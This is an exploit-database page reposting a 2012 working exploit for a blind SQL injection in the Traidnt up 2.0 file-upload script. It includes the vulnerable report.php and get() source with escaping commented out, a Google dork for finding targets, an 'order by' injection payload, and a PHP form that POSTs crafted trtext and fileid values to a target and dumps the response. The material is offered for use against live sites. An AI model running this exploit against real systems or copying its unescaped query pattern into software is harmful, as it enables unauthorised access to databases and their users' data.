Lucene search
K

Traidnt up 2.0 (report.php trtext) Blind SQL Injection Vulnerability

🗓️ 28 Nov 2012 00:00:00Reported by Cold ZeroType 
zdt
 zdt
🔗 0day.today👁 17 Views

Traidnt up 2.0 report.php Blind SQL Injection Vulnerabilit

Code
<!--
Exploit : Traidnt up 2.0 (report.php trtext) Blind SQL Injection 
Author  : Cold z3ro http://www.hackteach.org | http://www.s3curi7y.com
varibles: fileid,trtext
usage   : Exploit it manually 
dork 	: 'powered by traidnt up 2.0'


Bug :
in report.php
	include("includes/function.php");
     $trtext = get($_POST[trtext]);
     $code =  md5(get($_POST[code]));
     $fileid = get($_POST[fileid]);
     $cp = $_SESSION['key'];

in includes/function.php checking function get
 	function get ($variable){

  		$variable = trim($variable);
  		$variable = strip_tags($variable); <=  strip_tags not enough to stop hackers [Ya Turky Alwad3any]
  		//$variable = mysql_real_escape_string($variable); <= mysql_real_escape_string they commant it morons 
  		return($variable);
 	}
	
in report.php again

 	if($errors != ''){
      $traidnt->assign(message,charset($errors."<b><a href='$site[site_link]/view.php?file=$fileid'>انتظر سوف يتم تحويلك للملف مرة أخري</a></b>"."<META HTTP-EQUIV='Refresh' CONTENT='2; url=$site[site_link]/view.php?file=$fileid'>"));
      $traidnt->display("message.tpl");
 	}else{
        $ip = getenv('REMOTE_ADDR');

		$reportquery = $db->query("
INSERT INTO `report` (`report_key` ,`report_why` ,`report_ip` ) VALUES ('$fileid', '$trtext', '$ip');"); 

<= we can inject here trtext and also can inject fileid

        if($reportquery){
  		$traidnt->assign(message,$lang[report]."<META HTTP-EQUIV='Refresh' CONTENT='2; url=$site[site_link]/view.php?file=$fileid'>");
-->

----------------------- start of exploit and do it manually -----------------------
<form method="POST">
Target <input type="text" name="h" value="<? if($_POST['h']) {echo $_POST['h']; }else{echo 'http://www.google.com/upload/ lol am joking :D';} ?>" size="70" /><br />
Exploit <input type="text" name="f" value="<? if($_POST['f']) {echo $_POST['f']; }else{echo "yumy'+order+by+4";} ?>" size="70" /><br /> <!--exploit here -->
<input type="hidden" name="t" value="Exploit+by+Cold+z3ro" /> <!-- and also can exploit here -->
<input type="hidden" name="c" value="4473e588b35568687564de38ed134d0b" /> <!-- md5(anything you want) no need to change -->
<input type="submit" name="xdc" />
</form>

<?
// manul exploit i have no time to continue coding
if($_POST["xdc"]){
if( !eregi('http://', $_POST[h])){
	die('use "http://" in the link you moron and / at end');
}else{
     $t = $_POST[t];
     $c = $_POST[c];
     $f = $_POST[f];
     $h = $_POST[h].'report.php';
$data = array('trtext' => $t, 'code' => $c, 'fileid' => $f);
$options = array('http' => array('method'  => 'POST','content' => http_build_query($data)));
$context = stream_context_create($options);
$conlink = file_get_contents($h, false, $context);
//removing the fucking meta, redirects killing me , so decide to replace it 
$result = str_replace ("HTTP-EQUIV=","z3ro",$conlink); 
var_dump($result);
}
}
?>
----------------------- end of exploit -----------------------

#  0day.today [2018-01-01]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation